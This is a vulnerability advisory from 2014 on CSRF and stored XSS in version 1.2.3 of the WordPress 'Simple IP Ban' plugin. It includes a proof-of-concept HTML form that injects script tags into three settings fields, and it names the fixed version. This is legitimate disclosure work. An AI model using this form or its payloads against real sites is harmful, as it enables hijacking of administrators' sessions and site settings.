WordPress IP Ban plugin version 1.2.3 suffers from a cross site request forgery vulnerability that can be leveraged to trick an admin into storing cross site scripting code.
66b677009aad40c38f200e304e34067f8891b8592d2852342c1e42fcbb27376a
Title: WordPress 'IP Ban' plugin - CSRF/XSS
Version: 1.2.3
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2014/12/12
Download: https://wordpress.org/plugins/simple-ip-ban/
Notified WordPress: 2014/11/27
----------------------------------------------------------------
## Description:
----------------------------------------------------------------
Simple IP Ban is a lightweight ip / user agent ban plugin.
## CSRF:
----------------------------------------------------------------
It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.
## Stored XSS:
----------------------------------------------------------------
Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields.
PoC:
Log in and click on submit on the following form:
<form method="POST" action="http://[Domain]/wp-admin/options-general.php?page=simple-ip-ban ">
<input type="text" name="ip_list" value="</textarea><script>alert(1);</script>"><br />
<input type="text" name="user_agent_list" value="</textarea><script>alert(2);</script>"><br />
<input type="text" name="redirect_url" value="'/><script>alert(3);</script>"><br />
<input type="text" name="submit" value="Save"><br />
<input type="submit">
</form>
## Solution
----------------------------------------------------------------
Update to version 1.2.4